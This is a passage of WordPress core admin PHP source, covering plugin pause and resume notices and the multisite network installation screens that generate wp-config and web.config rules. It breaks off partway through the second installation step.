 * @param string $plugin_name The name of the plugin or theme that is suggesting content
 *                            for the site's privacy policy.
 * @param string $policy_text The suggested content for inclusion in the policy.
 */
function wp_add_privacy_policy_content( $plugin_name, $policy_text ) {
	if ( ! is_admin() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
				__( 'The suggested privacy policy content should be added only in wp-admin by using the %s (or later) action.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	} elseif ( ! doing_action( 'admin_init' ) && ! did_action( 'admin_init' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: admin_init */
				__( 'The suggested privacy policy content should be added by using the %s (or later) action. Please see the inline documentation.' ),
				'<code>admin_init</code>'
			),
			'4.9.7'
		);
		return;
	}

	if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
	}

	WP_Privacy_Policy_Content::add( $plugin_name, $policy_text );
}

/**
 * Determines whether a plugin is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_plugins
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the list of paused plugins. False, if not in the list.
 */
function is_plugin_paused( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	if ( ! is_plugin_active( $plugin ) ) {
		return false;
	}

	list( $plugin ) = explode( '/', $plugin );

	return array_key_exists( $plugin, $GLOBALS['_paused_plugins'] );
}

/**
 * Gets the error that was recorded for a paused plugin.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_plugins
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return array|false Array of error information as returned by `error_get_last()`,
 *                     or false if none was recorded.
 */
function wp_get_plugin_error( $plugin ) {
	if ( ! isset( $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	list( $plugin ) = explode( '/', $plugin );

	if ( ! array_key_exists( $plugin, $GLOBALS['_paused_plugins'] ) ) {
		return false;
	}

	return $GLOBALS['_paused_plugins'][ $plugin ];
}

/**
 * Tries to resume a single plugin.
 *
 * If a redirect was provided, we first ensure the plugin does not throw fatal
 * errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message and the plugin will not be resumed.
 *
 * @since 5.2.0
 *
 * @param string $plugin   Single plugin to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return true|WP_Error True on success, false if `$plugin` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_plugin( $plugin, $redirect = '' ) {
	/*
	 * We'll override this later if the plugin could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		wp_redirect(
			add_query_arg(
				'_error_nonce',
				wp_create_nonce( 'plugin-resume-error_' . $plugin ),
				$redirect
			)
		);

		// Load the plugin to test whether it throws a fatal error.
		ob_start();
		plugin_sandbox_scrape( $plugin );
		ob_clean();
	}

	list( $extension ) = explode( '/', $plugin );

	$result = wp_paused_plugins()->delete( $extension );

	if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_plugin',
			__( 'Could not resume the plugin.' )
		);
	}

	return true;
}

/**
 * Renders an admin notice in case some plugins have been paused due to errors.
 *
 * @since 5.2.0
 *
 * @global string                       $pagenow         The filename of the current screen.
 * @global WP_Paused_Extensions_Storage $_paused_plugins
 */
function paused_plugins_notice() {
	if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'resume_plugins' ) ) {
		return;
	}

	if ( ! isset( $GLOBALS['_paused_plugins'] ) || empty( $GLOBALS['_paused_plugins'] ) ) {
		return;
	}

	$message = sprintf(
		'<strong>%s</strong><br>%s</p><p><a href="%s">%s</a>',
		__( 'One or more plugins failed to load properly.' ),
		__( 'You can find more details and make changes on the Plugins screen.' ),
		esc_url( admin_url( 'plugins.php?plugin_status=paused' ) ),
		__( 'Go to the Plugins screen' )
	);
	wp_admin_notice(
		$message,
		array( 'type' => 'error' )
	);
}

/**
 * Renders an admin notice when a plugin was deactivated during an update.
 *
 * Displays an admin notice in case a plugin has been deactivated during an
 * upgrade due to incompatibility with the current version of WordPress.
 *
 * @since 5.8.0
 * @access private
 *
 * @global string $pagenow    The filename of the current screen.
 * @global string $wp_version The WordPress version string.
 */
function deactivated_plugins_notice() {
	if ( 'plugins.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'activate_plugins' ) ) {
		return;
	}

	$blog_deactivated_plugins = get_option( 'wp_force_deactivated_plugins' );
	$site_deactivated_plugins = array();

	if ( false === $blog_deactivated_plugins ) {
		// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
		update_option( 'wp_force_deactivated_plugins', array() );
	}

	if ( is_multisite() ) {
		$site_deactivated_plugins = get_site_option( 'wp_force_deactivated_plugins' );
		if ( false === $site_deactivated_plugins ) {
			// Option not in database, add an empty array to avoid extra DB queries on subsequent loads.
			update_site_option( 'wp_force_deactivated_plugins', array() );
		}
	}

	if ( empty( $blog_deactivated_plugins ) && empty( $site_deactivated_plugins ) ) {
		// No deactivated plugins.
		return;
	}

	$deactivated_plugins = array_merge( $blog_deactivated_plugins, $site_deactivated_plugins );

	foreach ( $deactivated_plugins as $plugin ) {
		if ( ! empty( $plugin['version_compatible'] ) && ! empty( $plugin['version_deactivated'] ) ) {
			$explanation = sprintf(
				/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version, 4: Compatible plugin version. */
				__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s, please upgrade to %1$s %4$s or later.' ),
				$plugin['plugin_name'],
				$plugin['version_deactivated'],
				$GLOBALS['wp_version'],
				$plugin['version_compatible']
			);
		} else {
			$explanation = sprintf(
				/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version. */
				__( '%1$s %2$s was deactivated due to incompatibility with WordPress %3$s.' ),
				$plugin['plugin_name'],
				! empty( $plugin['version_deactivated'] ) ? $plugin['version_deactivated'] : '',
				$GLOBALS['wp_version'],
				$plugin['version_compatible']
			);
		}

		$message = sprintf(
			'<strong>%s</strong><br>%s</p><p><a href="%s">%s</a>',
			sprintf(
				/* translators: %s: Name of deactivated plugin. */
				__( '%s plugin deactivated during WordPress upgrade.' ),
				$plugin['plugin_name']
			),
			$explanation,
			esc_url( admin_url( 'plugins.php?plugin_status=inactive' ) ),
			__( 'Go to the Plugins screen' )
		);
		wp_admin_notice( $message, array( 'type' => 'warning' ) );
	}

	// Empty the options.
	update_option( 'wp_force_deactivated_plugins', array() );
	if ( is_multisite() ) {
		update_site_option( 'wp_force_deactivated_plugins', array() );
	}
}
<?php
/**
 * WordPress Network Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Check for an existing network.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|false Base domain if network exists, otherwise false.
 */
function network_domain_check() {
	global $wpdb;

	$sql = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->site ) );
	if ( $wpdb->get_var( $sql ) ) {
		return $wpdb->get_var( "SELECT domain FROM $wpdb->site ORDER BY id ASC LIMIT 1" );
	}
	return false;
}

/**
 * Allow subdomain installation
 *
 * @since 3.0.0
 * @return bool Whether subdomain installation is allowed
 */
function allow_subdomain_install() {
	$domain = preg_replace( '|https?://([^/]+)|', '$1', get_option( 'home' ) );
	if ( parse_url( get_option( 'home' ), PHP_URL_PATH ) || 'localhost' === $domain || preg_match( '|^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|', $domain ) ) {
		return false;
	}

	return true;
}

/**
 * Allow subdirectory installation.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return bool Whether subdirectory installation is allowed
 */
function allow_subdirectory_install() {
	global $wpdb;

	/**
	 * Filters whether to enable the subdirectory installation feature in Multisite.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $allow Whether to enable the subdirectory installation feature in Multisite.
	 *                    Default false.
	 */
	if ( apply_filters( 'allow_subdirectory_install', false ) ) {
		return true;
	}

	if ( defined( 'ALLOW_SUBDIRECTORY_INSTALL' ) && ALLOW_SUBDIRECTORY_INSTALL ) {
		return true;
	}

	$post = $wpdb->get_row( "SELECT ID FROM $wpdb->posts WHERE post_date < DATE_SUB(NOW(), INTERVAL 1 MONTH) AND post_status = 'publish'" );
	if ( empty( $post ) ) {
		return true;
	}

	return false;
}

/**
 * Get base domain of network.
 *
 * @since 3.0.0
 * @return string Base domain.
 */
function get_clean_basedomain() {
	$existing_domain = network_domain_check();
	if ( $existing_domain ) {
		return $existing_domain;
	}
	$domain = preg_replace( '|https?://|', '', get_option( 'siteurl' ) );
	$slash  = strpos( $domain, '/' );
	if ( $slash ) {
		$domain = substr( $domain, 0, $slash );
	}
	return $domain;
}

/**
 * Prints step 1 for Network installation process.
 *
 * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such.
 *       Navigating to Tools > Network should not be a sudden "Welcome to a new install process!
 *       Fill this out and click here." See also contextual help todo.
 *
 * @since 3.0.0
 *
 * @global bool $is_apache
 *
 * @param false|WP_Error $errors Optional. Error object. Default false.
 */
function network_step1( $errors = false ) {
	global $is_apache;

	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
		$cannot_define_constant_message  = '<strong>' . __( 'Error:' ) . '</strong> ';
		$cannot_define_constant_message .= sprintf(
			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
			__( 'The constant %s cannot be defined when creating a network.' ),
			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
		);

		wp_admin_notice(
			$cannot_define_constant_message,
			array(
				'additional_classes' => array( 'error' ),
			)
		);

		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	$active_plugins = get_option( 'active_plugins' );
	if ( ! empty( $active_plugins ) ) {
		wp_admin_notice(
			'<strong>' . __( 'Warning:' ) . '</strong> ' . sprintf(
				/* translators: %s: URL to Plugins screen. */
				__( 'Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.' ),
				admin_url( 'plugins.php?plugin_status=active' )
			),
			array( 'type' => 'warning' )
		);
		echo '<p>' . __( 'Once the network is created, you may reactivate your plugins.' ) . '</p>';
		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	$hostname  = get_clean_basedomain();
	$has_ports = strstr( $hostname, ':' );
	if ( ( false !== $has_ports && ! in_array( $has_ports, array( ':80', ':443' ), true ) ) ) {
		wp_admin_notice(
			'<strong>' . __( 'Error:' ) . '</strong> ' . __( 'You cannot install a network of sites with your server address.' ),
			array(
				'additional_classes' => array( 'error' ),
			)
		);

		echo '<p>' . sprintf(
			/* translators: %s: Port number. */
			__( 'You cannot use port numbers such as %s.' ),
			'<code>' . $has_ports . '</code>'
		) . '</p>';
		echo '<a href="' . esc_url( admin_url() ) . '">' . __( 'Go to Dashboard' ) . '</a>';
		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	echo '<form method="post">';

	wp_nonce_field( 'install-network-1' );

	$error_codes = array();
	if ( is_wp_error( $errors ) ) {
		$network_created_error_message = '<p><strong>' . __( 'Error: The network could not be created.' ) . '</strong></p>';
		foreach ( $errors->get_error_messages() as $error ) {
			$network_created_error_message .= "<p>$error</p>";
		}
		wp_admin_notice(
			$network_created_error_message,
			array(
				'additional_classes' => array( 'error' ),
				'paragraph_wrap'     => false,
			)
		);
		$error_codes = $errors->get_error_codes();
	}

	if ( ! empty( $_POST['sitename'] ) && ! in_array( 'empty_sitename', $error_codes, true ) ) {
		$site_name = $_POST['sitename'];
	} else {
		/* translators: %s: Default network title. */
		$site_name = sprintf( __( '%s Sites' ), get_option( 'blogname' ) );
	}

	if ( ! empty( $_POST['email'] ) && ! in_array( 'invalid_email', $error_codes, true ) ) {
		$admin_email = $_POST['email'];
	} else {
		$admin_email = get_option( 'admin_email' );
	}
	?>
	<p><?php _e( 'Welcome to the Network installation process!' ); ?></p>
	<p><?php _e( 'Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. Configuration files will be created in the next step.' ); ?></p>
	<?php

	if ( isset( $_POST['subdomain_install'] ) ) {
		$subdomain_install = (bool) $_POST['subdomain_install'];
	} elseif ( apache_mod_loaded( 'mod_rewrite' ) ) { // Assume nothing.
		$subdomain_install = true;
	} elseif ( ! allow_subdirectory_install() ) {
		$subdomain_install = true;
	} else {
		$subdomain_install = false;
		$got_mod_rewrite   = got_mod_rewrite();
		if ( $got_mod_rewrite ) { // Dangerous assumptions.
			$message_class = 'updated';
			$message       = '<p><strong>' . __( 'Warning:' ) . '</strong> ';
			$message      .= '<p>' . sprintf(
				/* translators: %s: mod_rewrite */
				__( 'Please make sure the Apache %s module is installed as it will be used at the end of this installation.' ),
				'<code>mod_rewrite</code>'
			) . '</p>';
		} elseif ( $is_apache ) {
			$message_class = 'error';
			$message       = '<p><strong>' . __( 'Warning:' ) . '</strong> ';
			$message      .= sprintf(
				/* translators: %s: mod_rewrite */
				__( 'It looks like the Apache %s module is not installed.' ),
				'<code>mod_rewrite</code>'
			) . '</p>';
		}

		if ( $got_mod_rewrite || $is_apache ) { // Protect against mod_rewrite mimicry (but ! Apache).
			$message .= '<p>' . sprintf(
				/* translators: 1: mod_rewrite, 2: mod_rewrite documentation URL, 3: Google search for mod_rewrite. */
				__( 'If %1$s is disabled, ask your administrator to enable that module, or look at the <a href="%2$s">Apache documentation</a> or <a href="%3$s">elsewhere</a> for help setting it up.' ),
				'<code>mod_rewrite</code>',
				'https://httpd.apache.org/docs/mod/mod_rewrite.html',
				'https://www.google.com/search?q=apache+mod_rewrite'
			) . '</p>';

			wp_admin_notice(
				$message,
				array(
					'additional_classes' => array( $message_class, 'inline' ),
					'paragraph_wrap'     => false,
				)
			);
		}
	}

	if ( allow_subdomain_install() && allow_subdirectory_install() ) :
		?>
		<h3><?php esc_html_e( 'Addresses of Sites in your Network' ); ?></h3>
		<p><?php _e( 'Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories.' ); ?>
			<strong><?php _e( 'You cannot change this later.' ); ?></strong></p>
		<p><?php _e( 'You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.' ); ?></p>
		<?php // @todo Link to an MS readme? ?>
		<table class="form-table" role="presentation">
			<tr>
				<th><label><input type="radio" name="subdomain_install" value="1"<?php checked( $subdomain_install ); ?> /> <?php _e( 'Sub-domains' ); ?></label></th>
				<td>
				<?php
				printf(
					/* translators: 1: Host name. */
					_x( 'like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples' ),
					$hostname
				);
				?>
				</td>
			</tr>
			<tr>
				<th><label><input type="radio" name="subdomain_install" value="0"<?php checked( ! $subdomain_install ); ?> /> <?php _e( 'Sub-directories' ); ?></label></th>
				<td>
				<?php
				printf(
					/* translators: 1: Host name. */
					_x( 'like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples' ),
					$hostname
				);
				?>
				</td>
			</tr>
		</table>

		<?php
	endif;

	if ( WP_CONTENT_DIR !== ABSPATH . 'wp-content' && ( allow_subdirectory_install() || ! allow_subdomain_install() ) ) {
		$subdirectory_warning_message  = '<strong>' . __( 'Warning:' ) . '</strong> ';
		$subdirectory_warning_message .= __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' );
		wp_admin_notice(
			$subdirectory_warning_message,
			array(
				'additional_classes' => array( 'error', 'inline' ),
			)
		);
	}

	$is_www = str_starts_with( $hostname, 'www.' );
	if ( $is_www ) :
		?>
		<h3><?php esc_html_e( 'Server Address' ); ?></h3>
		<p>
		<?php
		printf(
			/* translators: 1: Site URL, 2: Host name, 3: www. */
			__( 'You should consider changing your site domain to %1$s before enabling the network feature. It will still be possible to visit your site using the %3$s prefix with an address like %2$s but any links will not have the %3$s prefix.' ),
			'<code>' . substr( $hostname, 4 ) . '</code>',
			'<code>' . $hostname . '</code>',
			'<code>www</code>'
		);
		?>
		</p>
		<table class="form-table" role="presentation">
			<tr>
			<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
			<td>
				<?php
					printf(
						/* translators: %s: Host name. */
						__( 'The internet address of your network will be %s.' ),
						'<code>' . $hostname . '</code>'
					);
				?>
				</td>
			</tr>
		</table>
		<?php endif; ?>

		<h3><?php esc_html_e( 'Network Details' ); ?></h3>
		<table class="form-table" role="presentation">
		<?php if ( 'localhost' === $hostname ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
				<td>
				<?php
					printf(
						/* translators: 1: localhost, 2: localhost.localdomain */
						__( 'Because you are using %1$s, the sites in your WordPress network must use sub-directories. Consider using %2$s if you wish to use sub-domains.' ),
						'<code>localhost</code>',
						'<code>localhost.localdomain</code>'
					);
					// Uh oh:
				if ( ! allow_subdirectory_install() ) {
					echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				}
				?>
				</td>
			</tr>
		<?php elseif ( ! allow_subdomain_install() ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
				<td>
				<?php
					_e( 'Because your installation is in a directory, the sites in your WordPress network must use sub-directories.' );
					// Uh oh:
				if ( ! allow_subdirectory_install() ) {
					echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				}
				?>
				</td>
			</tr>
		<?php elseif ( ! allow_subdirectory_install() ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-domain Installation' ); ?></th>
				<td>
				<?php
				_e( 'Because your installation is not new, the sites in your WordPress network must use sub-domains.' );
					echo ' <strong>' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ( ! $is_www ) : ?>
			<tr>
				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
				<td>
					<?php
					printf(
						/* translators: %s: Host name. */
						__( 'The internet address of your network will be %s.' ),
						'<code>' . $hostname . '</code>'
					);
					?>
				</td>
			</tr>
		<?php endif; ?>
			<tr>
				<th scope='row'><label for="sitename"><?php esc_html_e( 'Network Title' ); ?></label></th>
				<td>
					<input name='sitename' id='sitename' type='text' size='45' value='<?php echo esc_attr( $site_name ); ?>' />
					<p class="description">
						<?php _e( 'What would you like to call your network?' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope='row'><label for="email"><?php esc_html_e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name='email' id='email' type='text' size='45' value='<?php echo esc_attr( $admin_email ); ?>' />
					<p class="description">
						<?php _e( 'Your email address.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<?php submit_button( __( 'Install' ), 'primary', 'submit' ); ?>
	</form>
	<?php
}

/**
 * Prints step 2 for Network installation process.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb     WordPress database abstraction object.
 * @global bool $is_nginx Whether the server software is Nginx or something else.
 *
 * @param false|WP_Error $errors Optional. Error object. Default false.
 */
function network_step2( $errors = false ) {
	global $wpdb, $is_nginx;

	$hostname          = get_clean_basedomain();
	$slashed_home      = trailingslashit( get_option( 'home' ) );
	$base              = parse_url( $slashed_home, PHP_URL_PATH );
	$document_root_fix = str_replace( '\\', '/', realpath( $_SERVER['DOCUMENT_ROOT'] ) );
	$abspath_fix       = str_replace( '\\', '/', ABSPATH );
	$home_path         = str_starts_with( $abspath_fix, $document_root_fix ) ? $document_root_fix . $base : get_home_path();
	$wp_siteurl_subdir = preg_replace( '#^' . preg_quote( $home_path, '#' ) . '#', '', $abspath_fix );
	$rewrite_base      = ! empty( $wp_siteurl_subdir ) ? ltrim( trailingslashit( $wp_siteurl_subdir ), '/' ) : '';

	$location_of_wp_config = $abspath_fix;
	if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
		$location_of_wp_config = dirname( $abspath_fix );
	}
	$location_of_wp_config = trailingslashit( $location_of_wp_config );

	// Wildcard DNS message.
	if ( is_wp_error( $errors ) ) {
		wp_admin_notice(
			$errors->get_error_message(),
			array(
				'additional_classes' => array( 'error' ),
			)
		);
	}

	if ( $_POST ) {
		if ( allow_subdomain_install() ) {
			$subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true;
		} else {
			$subdomain_install = false;
		}
	} else {
		if ( is_multisite() ) {
			$subdomain_install = is_subdomain_install();
			?>
	<p><?php _e( 'The original configuration steps are shown here for reference.' ); ?></p>
			<?php
		} else {
			$subdomain_install = (bool) $wpdb->get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" );

			wp_admin_notice(
				'<strong>' . __( 'Warning:' ) . '</strong> ' . __( 'An existing WordPress network was detected.' ),
				array(
					'additional_classes' => array( 'error' ),
				)
			);
			?>
	<p><?php _e( 'Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables.' ); ?></p>
			<?php
		}
	}

	$subdir_match          = $subdomain_install ? '' : '([_0-9a-zA-Z-]+/)?';
	$subdir_replacement_01 = $subdomain_install ? '' : '$1';
	$subdir_replacement_12 = $subdomain_install ? '$1' : '$2';

	if ( $_POST || ! is_multisite() ) {
		?>
		<h3><?php esc_html_e( 'Enabling the Network' ); ?></h3>
		<p><?php _e( 'Complete the following steps to enable the features for creating a network of sites.' ); ?></p>
		<?php
		$notice_message = '<strong>' . __( 'Caution:' ) . '</strong> ';
		$notice_args    = array(
			'type'               => 'warning',
			'additional_classes' => array( 'inline' ),
		);

		if ( file_exists( $home_path . '.htaccess' ) ) {
			$notice_message .= sprintf(
				/* translators: 1: wp-config.php, 2: .htaccess */
				__( 'You should back up your existing %1$s and %2$s files.' ),
				'<code>wp-config.php</code>',
				'<code>.htaccess</code>'
			);
		} elseif ( file_exists( $home_path . 'web.config' ) ) {
			$notice_message .= sprintf(
				/* translators: 1: wp-config.php, 2: web.config */
				__( 'You should back up your existing %1$s and %2$s files.' ),
				'<code>wp-config.php</code>',
				'<code>web.config</code>'
			);
		} else {
			$notice_message .= sprintf(
				/* translators: %s: wp-config.php */
				__( 'You should back up your existing %s file.' ),
				'<code>wp-config.php</code>'
			);
		}

		wp_admin_notice( $notice_message, $notice_args );
	}
	?>
	<ol>
		<li><p id="network-wpconfig-rules-description">
		<?php
		printf(
			/* translators: 1: wp-config.php, 2: Location of wp-config file, 3: Translated version of "That's all, stop editing! Happy publishing." */
			__( 'Add the following to your %1$s file in %2$s <strong>above</strong> the line reading %3$s:' ),
			'<code>wp-config.php</code>',
			'<code>' . $location_of_wp_config . '</code>',
			/*
			 * translators: This string should only be translated if wp-config-sample.php is localized.
			 * You can check the localized release package or
			 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
			 */
			'<code>/* ' . __( 'That&#8217;s all, stop editing! Happy publishing.' ) . ' */</code>'
		);
		?>
		</p>
		<p class="configuration-rules-label"><label for="network-wpconfig-rules">
			<?php
			printf(
				/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
				__( 'Network configuration rules for %s' ),
				'<code>wp-config.php</code>'
			);
			?>
		</label></p>
		<textarea id="network-wpconfig-rules" class="code" readonly="readonly" cols="100" rows="7" aria-describedby="network-wpconfig-rules-description">
define( 'MULTISITE', true );
define( 'SUBDOMAIN_INSTALL', <?php echo $subdomain_install ? 'true' : 'false'; ?> );
define( 'DOMAIN_CURRENT_SITE', '<?php echo $hostname; ?>' );
define( 'PATH_CURRENT_SITE', '<?php echo $base; ?>' );
define( 'SITE_ID_CURRENT_SITE', 1 );
define( 'BLOG_ID_CURRENT_SITE', 1 );
</textarea>
		<?php
		$keys_salts = array(
			'AUTH_KEY'         => '',
			'SECURE_AUTH_KEY'  => '',
			'LOGGED_IN_KEY'    => '',
			'NONCE_KEY'        => '',
			'AUTH_SALT'        => '',
			'SECURE_AUTH_SALT' => '',
			'LOGGED_IN_SALT'   => '',
			'NONCE_SALT'       => '',
		);
		foreach ( $keys_salts as $c => $v ) {
			if ( defined( $c ) ) {
				unset( $keys_salts[ $c ] );
			}
		}

		if ( ! empty( $keys_salts ) ) {
			$keys_salts_str = '';
			$from_api       = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
			if ( is_wp_error( $from_api ) ) {
				foreach ( $keys_salts as $c => $v ) {
					$keys_salts_str .= "\ndefine( '$c', '" . wp_generate_password( 64, true, true ) . "' );";
				}
			} else {
				$from_api = explode( "\n", wp_remote_retrieve_body( $from_api ) );
				foreach ( $keys_salts as $c => $v ) {
					$keys_salts_str .= "\ndefine( '$c', '" . substr( array_shift( $from_api ), 28, 64 ) . "' );";
				}
			}
			$num_keys_salts = count( $keys_salts );
			?>
		<p id="network-wpconfig-authentication-description">
			<?php
			if ( 1 === $num_keys_salts ) {
				printf(
					/* translators: %s: wp-config.php */
					__( 'This unique authentication key is also missing from your %s file.' ),
					'<code>wp-config.php</code>'
				);
			} else {
				printf(
					/* translators: %s: wp-config.php */
					__( 'These unique authentication keys are also missing from your %s file.' ),
					'<code>wp-config.php</code>'
				);
			}
			?>
			<?php _e( 'To make your installation more secure, you should also add:' ); ?>
		</p>
		<p class="configuration-rules-label"><label for="network-wpconfig-authentication"><?php _e( 'Network configuration authentication keys' ); ?></label></p>
		<textarea id="network-wpconfig-authentication" class="code" readonly="readonly" cols="100" rows="<?php echo $num_keys_salts; ?>" aria-describedby="network-wpconfig-authentication-description"><?php echo esc_textarea( $keys_salts_str ); ?></textarea>
			<?php
		}
		?>
		</li>
	<?php
	if ( iis7_supports_permalinks() ) :
		// IIS doesn't support RewriteBase, all your RewriteBase are belong to us.
		$iis_subdir_match       = ltrim( $base, '/' ) . $subdir_match;
		$iis_rewrite_base       = ltrim( $base, '/' ) . $rewrite_base;
		$iis_subdir_replacement = $subdomain_install ? '' : '{R:1}';

		$web_config_file = '<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="WordPress Rule 1" stopProcessing="true">
                    <match url="^index\.php$" ignoreCase="false" />
                    <action type="None" />
                </rule>';
		if ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) {
			$web_config_file .= '
                <rule name="WordPress Rule for Files" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . 'files/(.+)" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . WPINC . '/ms-files.php?file={R:1}" appendQueryString="false" />
                </rule>';
		}
			$web_config_file .= '
                <rule name="WordPress Rule 2" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . 'wp-admin$" ignoreCase="false" />
                    <action type="Redirect" url="' . $iis_subdir_replacement . 'wp-admin/" redirectType="Permanent" />
                </rule>
                <rule name="WordPress Rule 3" stopProcessing="true">
                    <match url="^" ignoreCase="false" />
                    <conditions logicalGrouping="MatchAny">
                        <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" />
                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" />
                    </conditions>
                    <action type="None" />
                </rule>
                <rule name="WordPress Rule 4" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . '(wp-(content|admin|includes).*)" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:1}" />
                </rule>
                <rule name="WordPress Rule 5" stopProcessing="true">
                    <match url="^' . $iis_subdir_match . '([_0-9a-zA-Z-]+/)?(.*\.php)$" ignoreCase="false" />
                    <action type="Rewrite" url="' . $iis_rewrite_base . '{R:2}" />
                </rule>
                <rule name="WordPress Rule 6" stopProcessing="true">
                    <match url="." ignoreCase="false" />
                    <action type="Rewrite" url="index.php" />
                </rule>
            </rules>
        </rewrite>
    </system.webServer>
</configuration>
';

			echo '<li><p id="network-webconfig-rules-description">';
			printf(
				/* translators: 1: File name (.htaccess or web.config), 2: File path. */
				__( 'Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:' ),
				'<code>web.config</code>',
				'<code>' . $home_path . '</code>'
			);
		echo '</p>';
		if ( ! $subdomain_install && WP_CONTENT_DIR !== ABSPATH . 'wp-content' ) {
			echo '<p><strong>' . __( 'Warning:' ) . ' ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</strong></p>';
		}
		?>
			<p class="configuration-rules-label"><label for="network-webconfig-rules">
				<?php
				printf(
					/* translators: %s: File name (wp-config.php, .htaccess or web.config). */
					__( 'Network configuration rules for %s' ),
					'<code>web.config</code>'
				);
				?>
			</label></p>
			<textarea id="network-webconfig-rules" class="code" readonly="readonly" cols="100" rows="20" aria-describedby="network-webconfig-rules-description"><?php echo esc_textarea( $web_config_file ); ?></textarea>
		</li>
	</ol>

		<?php
	elseif ( $is_nginx ) : // End iis7_supports_permalinks(). Link to Nginx documentation instead:

		echo '<li><p>';
		printf(
			/* translators: %s: Documentation URL. */
			__( 'It seems your network is running with Nginx web server. <a href="%s">Learn more about further configuration</a>.' ),
			__( 'https://wordpress.org/documentation/article/nginx/' )
		);
		echo '</p></li>';

	else : // End $is_nginx. Construct an .htaccess file instead:

